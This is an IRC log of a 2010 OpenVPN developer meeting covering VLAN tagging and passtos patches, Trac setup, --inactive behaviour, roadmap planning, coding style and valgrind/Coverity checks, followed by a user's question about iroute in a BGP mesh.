--- Log opened Thu Apr 29 12:31:08 2010 12:31 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 12:31 -!- Irssi: #openvpn-devel: Total of 18 nicks [4 ops, 0 halfops, 1 voices, 13 normal] 12:31 -!- Irssi: Join to #openvpn-devel was synced in 30 secs --- Log closed Thu Apr 29 12:34:20 2010 --- Log opened Thu Apr 29 12:34:30 2010 12:34 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 12:34 -!- Irssi: #openvpn-devel: Total of 18 nicks [4 ops, 0 halfops, 1 voices, 13 normal] 12:34 !card.freenode.net [freenode-info] if you're at a conference and other people are having trouble connecting, please mention it to staff: http://freenode.net/faq.shtml#gettinghelp 12:34 -!- ecrist_mac [~ecrist@pdpc/supporter/professional/ecrist] has left #openvpn-devel [] 12:35 -!- Irssi: Join to #openvpn-devel was synced in 34 secs --- Log closed Thu Apr 29 12:35:13 2010 --- Log opened Thu Apr 29 12:35:21 2010 12:35 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 12:35 -!- Irssi: #openvpn-devel: Total of 17 nicks [4 ops, 0 halfops, 1 voices, 12 normal] 12:35 -!- Irssi: Join to #openvpn-devel was synced in 37 secs 12:41 <@dazo> mattock: I will manage to join the meeting after all :) Got home a lot earlier than anticipated 12:42 < krzee> \o/ 12:43 <@dazo> heh 12:50 <@mattock> dazo: great! 12:54 < krzee> <-- feels kinda good about the direction the confgen is headed 12:54 < krzee> adding input validation, default values 12:54 < krzee> ditched sh and went fully bash 12:54 <@dazo> krzee: cool! you're doing a good job here! 12:56 < krzee> thanx 12:56 < krzee> i liked jjk's saying that it was something he was glad to see made 12:56 < krzee> i was 1/2 expecting the community to spit on it because it can lead to less manual reading 12:57 <@mattock> confgen is probably makes life much easier for many people 12:57 < krzee> and while i want people to read the manual, bottom line is too many people already dont read it, may as well try to help them proactively if possible instead of waiting for them on irc / mail list 12:57 <@mattock> and if it can reduce number of (unnecessary) support requests in IRC/mailing lists, I think it's doing it's job 12:58 < krzee> right, thats the goal 12:58 < krzee> heres some serious ugly for ya 12:58 < krzee> valid_ip() 12:58 < krzee> { 12:58 < krzee> local ip=$1 12:58 < krzee> local stat=1 12:58 < krzee> if [[ $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then 12:58 < krzee> OIFS=$IFS 12:58 < krzee> IFS='.' 12:58 < krzee> ip=($ip) 12:58 < krzee> IFS=$OIFS 12:58 < krzee> [[ ${ip[0]} -le 255 && ${ip[1]} -le 255 && ${ip[2]} -le 255 && ${ip[3]} -le 255 ]] 12:58 < krzee> stat=$? 12:58 < krzee> fi 12:58 < krzee> return $stat 12:59 < krzee> } 12:59 * ecrist slaps krzee 12:59 < krzee> hehe 12:59 < krzee> ooo harder! 12:59 < krzee> lol 12:59 <@mattock> and I don't think people should _need_ to read the manual "just because you need to read the manual"... 12:59 <@mattock> krzee, ecrist: there might be children here, behave yourselves :) 13:00 < krzee> with openvpn the manual is pretty mandatory 13:00 < ecrist> krzee: that doesn't account for IPv6 ips... 13:00 <@mattock> ecrist: good point 13:00 < krzee> ecrist, DAMMIT 13:00 <@dazo> well ... but when you buy a product which you've never used before ... wouldn't you look into the users guide? :) 13:00 < krzee> oh well ipv6 patch isnt merged yet 13:00 <@mattock> ecrist: so troy.mcclure is dead? 13:00 * krzee hurries to finish confgen before ipv6 patch gets merged 13:00 <@mattock> dazo: no, I only look at the user guide after I've broken the product :) 13:00 <@dazo> lol 13:00 < ecrist> mattock: yes, I'm having that box shipped back - on top of the box dying, there have been billing issues. 13:01 <@mattock> ok, good to know 13:01 < ecrist> I'll will get you setup on my secondary backup host sometime today 13:01 <@mattock> that'd be great! 13:01 < ecrist> you'll be pushing your backups to mr.garrison.secure-computing.net now 13:01 < krzee> ecrist, if we need any boxen at other locations, lemme know 13:01 <@mattock> ok 13:01 < ecrist> krzee: thx 13:02 < krzee> np 13:02 < krzee> i have 1 in chicago that has no users 13:02 < krzee> its a VM on a server that also is a mirror for openbsd and some other stuff 13:02 < ecrist> truth be told, in addition to my personal DC, I have access to two 'real' DCs in Minneapolis 13:03 < ecrist> mattock: I'll drop you a line when the account is setup on the new box. your ssh keys and such will 'just work' 13:03 < ecrist> you'll need to accept the host key for mr.garrison, though. 13:04 <@mattock> ecrist: great! 13:04 < krzee> kick the baby! 13:05 * ecrist approves return shipping on the box, closes his account. 13:06 <@mattock> james should be coming - at least he has not told me otherwise 13:07 <@mattock> should we begin with something that does not require / benefit from James' presence? 13:09 <@mattock> ... 13:10 <@dazo> I can just introduce fabiank on this channel is the one behind the VLAN tagging patches ... and I hope he will be able to join our meetings in the future 13:11 <@mattock> dazo: do we a specific goal regarding VLAN tagging patches today? 13:11 * fabiank waves 13:11 <@mattock> hi fabiank! 13:11 < krzee> hey fabiank! 13:11 <@dazo> not more than I'd like to see someone who understands VLAN and the code paths being modified to give it a proper review 13:12 <@dazo> Peter Stuge seems to have done a pretty decent overall overview, but nothing in-depths to the feature itself 13:12 <@dazo> And we should probably combine this with the --passtos testing as well, as Fabian's patches are based upon that branch 13:13 <@mattock> can the patchset be merged to "allmerged" once somebody knowledgeable gives it an ACK? 13:13 < fabiank> Yes, it merges cleanly with allmerged. 13:14 <@mattock> great! 13:14 <@mattock> I just sent James mail, I hope he's coming 13:14 <@dazo> yes, the overall code quality seems to be good for that, from what I could see ... but as this patch might have some interesting challenges against IPv6 branch ... it can be good to be sure VLAN is safe from a technical point of view 13:15 <@dazo> fabiank: ahh! Cool you tested it! 13:15 <@mattock> he might be able to give the VLAN patchset an ACK 13:15 <@dazo> yeah, it would be good to have that done .... but! 13:16 <@dazo> as VLAN patches are based upon feat_passtos .... which we have not received any testing feedback from .... that merge with VLAN will implicitly bring feat_passtos into allmerged as well 13:16 < fabiank> dazo: yes, I've created an internal allmerged branch (fsmi_allmerged) which includes both the feat_vlan branch and another feature I'm working on. This is / will be what we're basing our internal Debian package on and will be used in our testing setup. 13:17 <@mattock> dazo: yep, that's a problem 13:17 <@dazo> fabiank: cool! you may try to contact agi on this channel ... he's the Debian package maintainer for OpenVPN as well 13:17 <@dazo> mattock: exactly 13:18 <@mattock> james is coming in a minute 13:18 <@dazo> fabiank: how is feat_vlan_tagging related to feat_passtos ... what code is shared here? Are there code changes in feat_passtos which you don't need? 13:18 < fabiank> dazo: Ah, interesting. We've based it on his Debian packaging anyway, so everything fine on that end. :) 13:18 < fabiank> dazo: To be honest, I'm not sure of the exact scope of feat_passtos... 13:19 <@mattock> who is responsible for the feat_passtos? 13:19 < fabiank> dazo: I'll see whether I can have a short look at a diff. 13:19 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:19 <@mattock> and is he/she working with us already? 13:19 <@mattock> and if not, why not? ;) 13:19 <@dazo> fabiank: it's rather a simple patchset ... which makes sure the TOS flag is forwarded correctly over the tunnel 13:19 <@mattock> hi james! 13:19 < jamesyonan> Hi everyone 13:19 < fabiank> dazo: Is it basically a single patch? Then I've looked at it already ... 13:19 <@dazo> Hi, James! 13:19 <@mattock> good you could attend! 13:20 <@mattock> btw. the meeting topics are here: https://community.openvpn.net/openvpn/wiki/Topics-2010-04-29 13:20 < vpnHelper> Title: Topics-2010-04-29 – OpenVPN (at community.openvpn.net) 13:20 <@dazo> fabiank: yeah, normally I'd put feat_passtos into feat_misc ... but we wanted some explicit testing of that branch to be sure it won't break anything and that it works as expected ... but nobody have responded to our testing request so far 13:22 <@mattock> james, we've been discussing the vlan patchset 13:22 < fabiank> dazo: OK. If feat_passtos hadn't existed, I would have submitted the same code. Slightly different approach, but ... anyway. (During my first patch-set attempt I didn't know of feat_passtos.) 13:23 < krzee> hey james! 13:23 <@dazo> fabiank: no problem ... and if you share code paths with feat_passtos ... it do make sense to base it here ... but that's the main challenge we have now to merge it into allmerged .... unless you share all the code paths of feat_passtos 13:24 <@dazo> we just need to be sure we get the code paths tested which we change 13:25 < fabiank> dazo: My motivation would have been slightly different though. If I understand the effects correctly, feat_passtos also allows the packet filtering to filter based on IP addresses for ethernet packets that are tagged. 13:25 < fabiank> dazo: We'd share the code-paths, if we'd test the PF side of things. 13:25 <@dazo> fabiank: that might be true ... I'm not experienced into the network packet layer, so I don't really know that 13:26 <@dazo> fabiank: that sounds pretty promising 13:28 < fabiank> dazo: Unfortunately, our planned installation doesn't require PF / passtos / mssfix stuff (yet?), so we would have to explicitly test it. 13:30 <@dazo> fabiank: I see ... well, we will have to bring up the testing situation as a different agenda topic, as this is something we should be able to test out easily ... but if you're able to get some testing of this, it would be great! 13:31 <@mattock> anything else on VLAN tagging / feat_passtos? 13:31 <@dazo> right now, I'm focused on getting you the needed ACK on the patches so we can get it into allmerged ... but it requires some testing of the feat_passtos stuff right now too :( that's the current situation 13:31 <@dazo> mattock: I don't think so ... unless fabiank has more to share :) 13:32 <@mattock> dazo: any ideas how to test the feat_passtos? I think we asked people to test it on the ml earlier, but got no test reports 13:32 <@mattock> I think the patch has been "floating" since then 13:32 <@dazo> mattock: Didn't we get a little "test script" by the guy who wrote the patch? 13:32 < fabiank> I have nothing pending on the vlan stuff ... the last update in response to Peter's review was all. 13:33 <@mattock> dazo: might be, have to recheck that 13:33 <@dazo> fabiank: good! And I'll be rebasing your feat_vlan_tagging branch this evening, to synch it on your proper branch 13:33 <@dazo> mattock: we might have wiki page with it as well, iirc 13:34 <@mattock> dazo: good idea 13:34 < fabiank> Basically the priority in an 802.1Q frame should influence the TOS field of the tunnel's-IPv4 packet, right? 13:34 <@dazo> fabiank: that's how I've understood it ... jamesyonan? 13:39 < jamesyonan> Yes, basically the passtos concept is about moving packet meta-data (like from the IP header) from the tunnel layer to the transport layer 13:39 < fabiank> I've had a short look: feat_passtos should allow IPv4 packets that are 802.1Q tagged to be properly examined for TOS, TCP MSS, DHCP router extraction and packet truncation checking. 13:42 <@mattock> ok, shall we move on? 13:42 <@dazo> I'm ready for that 13:42 < fabiank> Me too. :) 13:42 <@mattock> so, in a nutshell, feat_passtos needs testing - somehow :) 13:43 <@mattock> are any of the topics especially crucial / important? 13:43 <@mattock> or shall we start from the top, as always? 13:43 <@dazo> sure :) But I don't think we have anything new on the first topic though ... which changes things 13:44 <@dazo> we're still missing someone who could help out on the Windows side 13:44 <@mattock> true 13:45 <@mattock> should we start using Trac tasks for things that should be done, but nobody has volunteered? 13:45 <@dazo> (fabiank: I've just scratched the old feat_vlan_tagging branch ... and put out a new one with your feat_vlan branch as the base) 13:45 <@dazo> mattock: +1 13:45 <@mattock> things like the InternetQueryOptions API update 13:45 < fabiank> (dazo: Great! Thanks. :) ) 13:45 <@mattock> with links to all background information 13:46 <@dazo> that would be a good idea 13:46 <@mattock> same for bugs we can't fix right away, of course 13:46 <@dazo> +1 13:46 <@mattock> and even for bugs which we do fix right away, as discussed in last(?) meeting 13:46 <@mattock> regarding Trac... 13:46 <@mattock> the self-service registration service is now as ready as it can ever be 13:47 <@mattock> so we _could_ open Trac for wider audience 13:47 <@mattock> however, I'm a little worried about spam and such 13:48 <@mattock> I think we should protect the most essential content (e.g. developer docs) against changes by random people 13:48 <@mattock> what do you think? 13:48 <@dazo> no clever captcha stuff during registration? Like the ones which secure-computing.net got .... gives you a math piece to solve 13:48 <@mattock> dazo: there's reCAPTCHA for user registration 13:48 <@mattock> but nothing in trac to prevent human spammers 13:49 <@dazo> ahh ... well, let's open some pages for all ... and see how that goes, but I agree ... the crucial docs should not be too open, at least not in the beginning 13:49 < jamesyonan> agreed 13:49 <@dazo> but if we compare against the changelogs on secure-computing.net wiki ... it's not too much action there 13:50 <@mattock> I think we should not be too strict (e.g. like CentOS is/was) 13:50 <@mattock> dazo: I fear we'll have quite a lot of traffic once Trac gets linked to from openvpn.net 13:50 <@dazo> agreed ... so then it's just to decide which pages is crucial :) 13:51 <@dazo> good point 13:51 <@mattock> I'll take a look at what Trac offers on the page protection / spam prevention front and let you know via ml 13:51 <@dazo> good :) 13:52 <@mattock> and I'll move the "Open tasks" pages from secure computing to Trac tasks 13:52 <@dazo> Ahh ... perfect! I wasn't sure if you had moved that page, so I added one item there the other day, I believe 13:52 <@mattock> I'll move it tomorrow 13:53 <@dazo> Next item? 13:53 <@mattock> yep 13:53 <@dazo> Using --inactive and --ping seems to defeat each other http://thread.gmane.org/gmane.network.openvpn.devel/3556 13:53 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:54 <@dazo> jamesyonan: This one is one you might know something about .... could you use --inactive and --ping earlier on? 13:55 <@dazo> this guy reporting this one claims that when --ping is enabled .... it will never close the connection after the defined --inactivity time 13:56 <@dazo> From a quick code review, it seems to make sense though ... and the guy is right ... these two should either work ... or be better documented that do not work together 13:57 < jamesyonan> remember that --inactive takes an argument (see man page) 13:57 < jamesyonan> i.e. the optional 'bytes' argument 13:58 < jamesyonan> if not specified, I believe that bytes defaults to 0 13:58 <@dazo> hmmm ... 13:58 < krzee> i got off work early, see you guys later 13:58 < krzee> have a good meeting 13:58 <@dazo> why did I believe it was seconds .... 13:58 < jamesyonan> so that means that even minimal traffic could keep the tunnel open 13:58 <@dazo> jamesyonan: that makes sense though 13:59 <@mattock> krzee: bye! 13:59 < jamesyonan> I'm referring to the second, optional parameter to --inactive 13:59 <@dazo> ahh ... yeah, I see 13:59 <@dazo> well, then it's just to adjust that byte value higher 13:59 < jamesyonan> right 13:59 <@dazo> how big are those ping requests? 14:00 < jamesyonan> tens or hundreds of bytes 14:00 <@dazo> oki ... so setting it to 250 bytes, might actually behave closer to what's expected 14:01 < jamesyonan> so basically, you want to set inactive bytes high enough so that the normal "chatter" of the open tunnel won't make OpenVPN think that the tunnel is still active 14:01 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 14:02 <@dazo> jamesyonan: should we consider to raise the default byte count in --inactive? So that normal pings do to keep it open? 14:02 < jamesyonan> yeah, that probably makes sense 14:03 <@dazo> mattock: can you put up in the open tasks list? .... Experiment with finding a proper --inactive byte count value so --ping requests are ignored 14:03 <@mattock> will do 14:04 <@dazo> thx! 14:04 <@mattock> perhaps we could ask users on the ml before we do that, though 14:04 < jamesyonan> it's tricky to default it to a constant because it needs to be larger as the number of seconds parameter increases 14:04 <@dazo> true 14:05 <@mattock> what if I ask users if they could test this... if that fails, but it to a Trac task 14:05 <@dazo> but the default could be (seconds * byte_count_factor) 14:05 < ecrist> mattock: when is the forum going to be up? 14:05 <@mattock> ecrist: depends on us :) 14:06 <@mattock> self-service registration service is ready and Trac only needs a few plugins / tweaks 14:06 <@mattock> after that we can move on to forums 14:06 < ecrist> since I have some keys to that castle, email me a task list and I'll get to work on it. 14:06 <@mattock> ecrist: I can handle the basic server configuration tasks if you manage the phpbb stuff 14:07 < ecrist> sure. 14:08 <@dazo> next? 14:08 <@mattock> yep 14:09 <@dazo> * Avoid repetition of "this config may cache passwords in memory" (v2) -- http://thread.gmane.org/gmane.network.openvpn.devel/3591 14:09 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:09 <@mattock> anybody care to ACK that? 14:09 <@dazo> this one I have tested in prod ... and it seems to work pretty well 14:10 <@dazo> fabiank: you are also most welcome to give ACK's to mails on the ML :) 14:10 <@mattock> the more devs we have giving ACK's, the better 14:10 < fabiank> dazo: Ah ok, I see. Thanks for mentioning that. :) 14:10 <@dazo> exactly! :) 14:10 < jamesyonan> this seems reasonable 14:11 <@mattock> currently some stuff manages to "slip" away without an ACK 14:11 <@mattock> even if the patch is relatively trivial 14:11 <@mattock> jamesyonan: is that an ACK? 14:12 < jamesyonan> ack 14:12 <@dazo> * Revamped the script-security warning logging (version 2) -- http://thread.gmane.org/gmane.network.openvpn.devel/3587 14:12 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:13 <@dazo> this is a bigger one ... but fixes what we discussed last week or so ... removing a --script-security warning unless when absolutely needed ... and does it only once 14:16 < jamesyonan> looks pretty good -- BTW, you can say: openvpn_snprintf(msg, sizeof(msg), ... 14:17 <@dazo> ahh! true! 14:18 <@mattock> jamesyonan: is it an ACK with that change? 14:18 < jamesyonan> yes 14:18 <@dazo> jamesyonan: If I get an ACK, I can promise to fix that one on the fly 14:18 < krzie> !learn wishlist as http://ovpnforum.com/viewforum.php?f=10 for the openvpn wishlist 14:18 < vpnHelper> krzie: Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified. 14:18 * dazo will fix 14:18 < krzie> !learn wishlist as http://ovpnforum.com/viewforum.php?f=10 for the openvpn wishlist 14:18 < vpnHelper> krzie: Joo got it. 14:20 <@dazo> We've been through the next one already ... PULL-REQUEST for VLAN-Tagging ... 14:21 <@dazo> Unless someone wants/need a status update on "In progress" and "awaiting testing before ACK" items ... we can go to "Other" items 14:23 * dazo will put a little bit more information on those items to next week 14:23 <@mattock> ok, "other" is fine by me 14:23 <@dazo> Community site - Trac config ... that's been discussed 14:23 <@mattock> yep 14:23 <@dazo> Roadmap' 14:24 <@dazo> this is a biggie ... 14:24 <@mattock> yep, it is 14:24 <@dazo> should we allocate one meeting for this topic alone, maybe? 14:24 <@mattock> sounds like a good idea 14:25 <@mattock> I think I intended to start discussion about roadmap and something else this week... but somehow managed to forget 14:25 <@mattock> on the mailing list I mean 14:26 <@dazo> ahh ... yeah, that sounds familiar, somehow :) 14:26 <@mattock> should we have a separate "roadmap" meeting in addition to our usual meeting... or should we just replace the usual meeting? 14:27 < jamesyonan> I would vote to replace the usual meeting 14:27 <@dazo> I was thinking about that as well .... but I thought that peoples schedules might be pretty packed already .... but if it is announced ahead of time, more people might be able to plan it better 14:28 <@mattock> I think we should try to keep as much of the roadmap discussion as possible on the mailing list 14:29 <@mattock> and use the IRC where it makes most sense 14:30 <@dazo> true ... but to get started, to get a kind of framework to start working from - that might need a meeting 14:30 <@mattock> dazo: agreed 14:30 <@mattock> I'll check what I promised last week and then do it :) 14:31 <@mattock> shall we have the roadmap meeting next week? 14:31 < jamesyonan> that works for me 14:32 <@mattock> let's try to prepare that meeting as well as possible 14:32 <@dazo> sure ... let's get a quick announcement about it as soon as possible as well 14:33 <@mattock> so that we know what issues we need to solve somehow 14:33 <@mattock> dazo: I'll send an announcement tomorrow 14:33 <@dazo> mm 14:33 <@dazo> good! 14:33 <@mattock> should we send it to -users as well as -devel? 14:33 <@mattock> I think -devel suffices - what do you think? 14:34 <@mattock> =is enough 14:34 <@dazo> hmm .... not sure, but I tend to lean towards both .... for the announcement .... and then the discussion after the meeting will go on -devel 14:34 <@dazo> but doing it on -users can cause more traffic and maybe some unneeded noise 14:34 < ecrist> IMHO, if people want -devel traffic the should subscribe to the right thing 14:35 <@mattock> ecrist: good point. Ok, so what exactly shall we discuss on the roadmap meeting? 14:35 < ecrist> s/the// 14:36 <@mattock> will it be high-level stuff (like the questions listed on today's topics)? 14:36 <@mattock> or shall we discuss concrete issues (like what features will be included in next release 14:36 <@mattock> ? 14:36 < ecrist> I think roadmap meetings should discuss things users can get more involved in 14:37 <@dazo> The result should be some kind of milestone skeleton .... with some estimates for deadlines and if possible who will be responsible in keeping the tasks 14:37 < ecrist> sometimes, it's not always good to only have developers at the helm, but to allow users to influence the course a bit. 14:38 <@dazo> mattock: yes, it needs to be more high-level ... because with a roadmap we will have these weekly meetings to follow up the progress on the roadmap 14:38 <@dazo> with the gory low-level details 14:38 <@dazo> ecrist: +1 14:39 <@mattock> ok, what if we keep the "roadmap meeting" high-level and then discuss the concrete issues ("what will be on next release") on the mailing list 14:39 <@dazo> If jamesyonan could give a more detailed "presentation" on that meeting of where he sees OpenVPN should go further, what problem we have with the current state and where he sees us headed ... and then take the discussion from there 14:40 < jamesyonan> yes, I can do that 14:41 <@mattock> ok, I guess that's settled then 14:42 <@mattock> agreed? 14:42 <@dazo> the next thing we need to clarify is to somehow document the process of getting stuff from openvpn-testing.git into the stable trees 14:42 < jamesyonan> my presentation will probably be more far-sighted, i.e. looking more towards 3.0 than 2.2 14:43 <@dazo> that's fine enough! 14:43 <@mattock> dazo: yep, that's very important 14:44 <@mattock> currently we have testing (git) and stable (svn) but they're pretty separate 14:44 <@mattock> there's no clear process leading from a patch to release 14:44 <@dazo> that process needs to clarify conditions for patches to go into the stable tree ... how to document that ... and then the practical merge 14:46 <@dazo> jamesyonan: I'm seeing that a 2.2 and releases up to 3.0 will all kind of be gradually moving the code base more and more over to what we want to see in 3.0 ... or am I thinking of this wrong? 14:46 <@mattock> dazo: I think we agreed in a meeting we should at least try to do that 14:47 <@mattock> to make the jump from 2.x to 3.0 as small as possible 14:47 <@mattock> otherwise we'll run into a number of problems 14:47 <@dazo> mattock: ahh ... I had a strong feeling this was not new thoughts :) 14:48 <@mattock> if we move towards 3.0 in small increments the 2.x series is not "competing" against 3.0 as it would if 3.0 was a complete rewrite 14:48 < jamesyonan> it's possible but tricky to reach 3.0 incrementally 14:49 <@mattock> perhaps we could document what needs to be done, where a complete rewrite is required, where we could move forward incrementally etc 14:49 <@mattock> then we'd know better what approach to take 14:49 < jamesyonan> in 3.0 I would like see a revamped i/o event layer and an internal architecture that more closely mirrors a general network stack 14:49 <@dazo> mm ... some parts of the 3.0 base must be written from scratch ... that would be expected ... but if the we can modularise better things in the 2.x path, it can more easily be used in 3.x 14:50 < jamesyonan> maybe we can bring in a new library to handle the event layer such as libevent 14:50 <@dazo> mm 14:52 <@dazo> the encryption layer might also be possible to modularise already during 2.x 14:53 <@mattock> what if we try to figure out what 3.0 will be like and then dig into the code to get a better idea what's involved? 14:53 <@dazo> yupp 14:53 <@mattock> shall we move on to "Coding style guidelines"? 14:53 <@mattock> that'd be the last issue... 14:54 <@dazo> jamesyonan: this one you might be able to answer better ... but do you use any indenting tools to make sure the code follows one style for your work? 14:54 <@dazo> and what "parameters" do you keep your style after? 14:55 <@dazo> (bad grammar) 14:55 < jamesyonan> well, there's always gnu indent 14:55 <@dazo> could we find some good parameters for gnu indent which we can instruct those sending patches to use? 14:56 < jamesyonan> early on in the project, I actually ran the code through gnu indent a few times, and then maintained that style going forward 14:57 <@mattock> I've seen quite a lot of style discussions on the ml lately... how strict style guidelines do we want? 14:57 <@dazo> I would prefer a rather strict guideline ... as mixing coding styles is even worse than any bad coding style 14:58 <@mattock> dazo: how much of that can be achieved with a tool like GNU indent? 14:58 <@dazo> mattock: basically everything :) 14:59 <@dazo> even though, I'm not a big fan of the current style ... I'd rather keep something close to what the majority of the code uses now, than to get a lot of mixed styles into the code 14:59 <@mattock> I remember seeing discussion about if - then - else blocks vs. some other approach... can indent fix that kind of stuff? 14:59 <@dazo> mattock: yes 14:59 <@mattock> oh, that's pretty advanced, then :) 15:00 <@mattock> can we reverse-engineer indent parameters from the code? 15:00 <@dazo> mattock: you can completely reformat the whole code to whatever coding style you define ... it's all controlled by the arguments to indent 15:00 < fabiank> Whether or not GNU indent would work might depend on how unified the code style is currently. A patch probably shouldn't touch unrelated code pieces and running GNU indent might cause unrelated parts to be changed ... 15:00 <@dazo> fabiank: good point! 15:00 <@dazo> we might actually need a "clean up coding style patch" before we start enforcing it 15:01 <@mattock> jamesyonan: do you use some tools to check the code for security problems, memory leaks etc.? or does gcc handle all of that automatically? 15:01 < jamesyonan> I usually use valgrind 15:01 <@mattock> also, should the patches go through such tools? 15:02 < jamesyonan> yes, I would highly recommend that 15:02 * dazo usually tests his stuff regularly with valgrind to look for memleaks and other memory related issues 15:03 < jamesyonan> Also: there's a company called Coverity that has a tool set that does compile-time checking for bugs and security issues 15:03 < jamesyonan> as an open source project, we can freely use Coverity's tool 15:03 <@mattock> ok, so we'd need a "fix indent patch", publicly available GNU indent parameters, documentation on how to use valgrind/coverity 15:03 <@mattock> ... 15:04 <@mattock> -> more developers docs and patch requirements 15:04 <@dazo> mattock: basically, yes 15:04 < jamesyonan> we should add a doc on "coding security guidelines" as well 15:05 <@dazo> yes! 15:05 <@mattock> jamesyonan: could you write the first version of that document? 15:05 <@dazo> jamesyonan: would you have time to put up a kind of skeleton here, of what you find crucial and imp....... mattock was quicker 15:05 < jamesyonan> It's on my todo list 15:06 <@dazo> jamesyonan: if you get some skeleton out ... I can sure help filling out some of the gaps 15:06 < jamesyonan> cool 15:06 <@mattock> btw. many devs are frightened of sending patches to mailing lists... especially after I give them the link to "patch requirements" 15:06 <@mattock> I was wondering whether we should have something to cater for devs who are not used to OSS development 15:07 <@mattock> for example, the guy who wrote the OSX keyring patch needed some encouragement before he dared send his patch to the list 15:07 <@mattock> I was wondering whether a "mentoring" thing could help here 15:07 <@dazo> well, yes and no .... if the documentation is difficult to understand ... but if we could tell them "run this script before you commit your patch" .... and that points out problems or fixes the simple issues ... then a lot is done 15:08 <@dazo> mattock: you think I scared him away? :) 15:08 * dazo sure hope he didn't scare him 15:08 <@mattock> hope not, but if you did, I can encourage him again :) 15:08 <@dazo> :) 15:08 <@mattock> "no, dazo's not really like that, really..." :) 15:08 <@dazo> hehe :) 15:09 <@mattock> anyways, I'll try to think of a way for OSS noobs to get into OpenVPN development without getting scared away 15:10 <@mattock> several of the devs I've pointed to devel docs have not been heard from since then, so this is a real problem 15:10 <@dazo> but some people who send patches also have the idea that "the others will fix it!" ... and we're not garbage collectors either ... but if my responses are too harsh or not appropriate, please let me know! 15:10 <@dazo> that's worrying! 15:10 <@mattock> dazo: agreed... the patch authors need to be responsible for their stuff 15:11 <@mattock> dazo: we're talking about maybe 4-5 patches here 15:11 <@dazo> mattock: well, that's many enough to get worried .... we're getting more and more patches, but 4-5 more wouldn't hurt us 15:12 <@mattock> I'm tracking these guys now and will send at least one "encouragement" email to each dev who hasn't sent the patch the -devel after I asked them to 15:12 <@dazo> that's cool! :) And clever! 15:12 <@dazo> but having that said, the amount of patches now being sent to the ML is increasing! :) 15:12 <@mattock> yep, it is 15:13 <@mattock> I wonder what happens once Trac is linked to from openvpn.net... I think the majority of people don't know our development model has changed 15:14 <@mattock> and that probably includes some devs, too 15:14 <@dazo> good point! 15:14 <@mattock> do you think we're done for today? 15:14 <@mattock> it's getting late here 15:15 <@dazo> yeah, I think we are :) 15:15 <@mattock> ok, so "Roadmap" meeting next week 15:16 <@mattock> I'll announce it tomorrow on -devel 15:16 <@dazo> perfect! 15:16 <@mattock> ok, good night guys! 15:16 <@dazo> good night! 15:16 < jamesyonan> take care 15:16 <@mattock> see you later 15:17 < fabiank> bye bye :) 15:23 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 15:27 -!- fabiank [~fabian.kn@cl-809.dus-01.de.sixxs.net] has left #openvpn-devel ["Leaving."] 15:50 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:56 <@cron2_> re 16:06 <@cron2_> t'was a fairly long meeting today... just read the backlog 16:07 <@dazo> yeah ... almost two hours :) but it was pretty good after all 16:10 <@cron2_> regarding the whitespace cleanup (indent) - there's a couple of source modules that do not properly follow coding conventions right now in some places (tun.c is the most prominent one) 16:10 <@cron2_> cleaning those up would be a good thing - but would make merging these changes with other changes to tun.c quite hard 16:10 <@dazo> yeah, we'll need to work further on that topic 16:11 <@dazo> when we have decided on the style with indent ... I would do this on all the branches separately, applying the cleanup patches ... then merging should go better afterwards 16:12 <@dazo> or else, merging would really become a mess :) 16:12 <@cron2_> agreed 16:13 <@dazo> but I'm also missing such a "check-patch" script as the Linux kernel uses ... you run that one straight on your patch file, and it tells you where you missed 16:13 <@dazo> and if you send patches to LKML without fixing these hints, you'll get shot down pretty quick 16:13 <@dazo> but we could benefit from a similar approach, using such a helper script for patch submission 16:14 <@cron2_> git is already quite strict about end-of-line and end-of-file whitespace 16:14 <@cron2_> but yes, that would be useful to have 16:14 <@dazo> I'm also using git am or git apply ... which can also strip out those whitespace fixes when I'm applying them to the tree 16:17 <@cron2_> ok, to bed now... good night :-) 16:18 <@dazo> good night :) 16:20 -!- dazo is now known as dazo_afk 16:31 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 21:18 -!- invis- [~invis@67.159.28.235] has joined #openvpn-devel 21:18 -!- invis- [~invis@67.159.28.235] has quit [Client Quit] 21:19 -!- y0tta [~y0tta@67.159.28.235] has joined #openvpn-devel --- Day changed Fri Apr 30 2010 01:16 -!- y0tta [~y0tta@67.159.28.235] has quit [Ping timeout: 260 seconds] 02:07 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 02:12 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:35 -!- dazo_afk is now known as dazo 06:16 -!- reg9009 [~chatzilla@ip-94-79-162-2.unitymediagroup.de] has joined #openvpn-devel 06:16 < reg9009> Hi guys, are there any developers online...? 06:20 <@mattock> depends on your definition of a developer :) 06:21 < reg9009> :) 06:22 < reg9009> I have a suggestion, though I don't know if this would be achievable... 06:22 < reg9009> Let me start :) 06:22 < reg9009> We've built a mesh network with OpenVPN, running mainly on linux firewalls. 06:22 < reg9009> We distribute the routes through BGP, all is working great 06:22 < reg9009> but... 06:23 < reg9009> Unfortunately, we have to adapt custom configs (ccd) every time a route is added through 2 hops. 06:23 < reg9009> e.g., we have Router A ----> Router B ---> Router C 06:24 < reg9009> Router A advertises a new route through Router B and Router C gets the route 06:24 < reg9009> now, to properly work, we have to add this route (or better said network) as "iroute xxxx" on router C 06:24 < reg9009> restart the connection on Router B 06:25 < reg9009> and after BGP propagation routing works to the new net behind router A 06:25 < reg9009> it would be really cool if we wouldn't need the "iroute" to get the routing work properly. 06:26 < reg9009> From what I understood iroute is needed for OpenVPN so that it knows through which tunnel it should send the packets back (some internal routing tables?) 